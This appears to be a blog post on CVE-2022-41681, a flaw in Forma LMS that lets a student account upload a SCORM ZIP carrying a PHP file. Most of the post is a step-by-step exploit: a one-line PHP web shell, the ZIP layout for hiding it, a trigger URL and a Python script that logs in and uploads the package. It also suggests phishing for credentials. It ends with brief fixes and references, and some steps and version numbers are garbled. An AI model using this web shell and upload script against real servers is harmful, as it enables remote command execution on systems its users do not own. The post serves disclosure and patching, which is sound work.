Forma LMS is a popular open-source Learning Management System used by educational institutions and organizations worldwide. On October 2022, a security flaw was discovered in Forma LMS version 3.1. and below. Catalogued as CVE-2022-41681, this vulnerability allows an attacker with even a basic "student" role to elevate their privileges, upload a malicious ZIP file through the SCORM importer, and potentially execute unauthorized code on the server.
In this post, we'll break down exactly how the vulnerability works, show example code snippets, and explain how attackers can exploit it. You’ll also get links to the original advisory and references for further reading—everything you need to understand and mitigate this flaw.
1. Background: What is Forma LMS and SCORM?
Forma LMS lets educators create, manage, and deliver learning content online. One of its key features is SCORM (Shareable Content Object Reference Model) support, allowing admins to import interactive learning modules packaged as ZIP files.
Normally, only authorized users (like admins or instructors) should be able to upload new course content. But with this vulnerability, even basic students can sneak dangerous code onto the server.
Vulnerability Summary
- CVE: CVE-2022-41681
What Went Wrong?
Forma LMS allows students to access the SCORM importer. When uploading a ZIP file containing a SCORM module, the backend process does not properly check the contents. This means a student can upload a ZIP with malicious .php files, and these files can be extracted and executed by visiting their URL.
Step 1: Log in as a student
Get a valid student account (registering as a new user—or phishing for credentials).
Step 2: Access SCORM Importer
Navigate to:
/appLms/index.php?r=adm/elearning/scormImport
Step 3: Create a Malicious SCORM ZIP
Prepare a ZIP file with a simple webshell or PHP reverse shell. For example, create a file called shell.php with the following content:
<?php system($_GET['cmd']); ?>
Structure your ZIP file so it matches a basic SCORM package folder, but sneaks your shell.php in:
scormpackage.zip
│-- imsmanifest.xml
│-- shell.php
Note: imsmanifest.xml is normally required by SCORM, but Forma LMS fetches all contents without strict validation.
Step 5: Trigger Execution
After upload, your PHP file will be extracted to the web root under SCORM content folders, for example:
/appLms/files/scorm/[...]/shell.php
Visit the URL:
http://target.site/appLms/files/scorm/[...]/shell.php?cmd=id
Below is a simple Python script to automate the exploitation
import requests
# Configuration
base_url = 'http://target.site';
login_url = f'{base_url}/appLms/index.php?r=site/publiclogin'
scorm_upload_url = f'{base_url}/appLms/index.php?r=adm/elearning/scormImport'
# Your Credentials
username = 'studentuser'
password = 'studentpass'
# Start session
session = requests.Session()
# Login payload
login_data = {
'login': username,
'password': password,
'action': 'login'
}
# Log in
session.post(login_url, data=login_data)
# Upload malicious SCORM file
files = {'scorm_file': open('scormpackage.zip','rb')}
session.post(scorm_upload_url, files=files)
print('Upload complete. Check the /files/scorm/ directory for your shell.')
5. Recommendations & Fixes
- Upgrade to the latest version: Forma LMS 3.2. and later fix this flaw.
Limit SCORM Import Permissions: Only give import permission to trusted admins, not students.
- Harden uploads: Enforce strict file checks and only allow known-safe file types inside SCORM ZIP.
- Web application firewall (WAF): Deploy a WAF to block malicious uploads or PHP files in content folders.
6. References
- CVE-2022-41681 on NVD
- Exploit-DB Entry
- Forma LMS Github
- Forma LMS official website
- OWASP File Upload Cheat Sheet
Conclusion
CVE-2022-41681 is a critical vulnerability that highlights the need for strong upload sanitization and proper access control in web applications. If you use Forma LMS, update immediately, audit user roles, and review all uploads for possible signs of compromise!
If you have any questions, join the conversation in the comments below or reach out on GitHub. Happy learning—and stay secure!
Timeline
Published on: 10/31/2022 20:15:00 UTC
Last modified on: 11/01/2022 20:05:00 UTC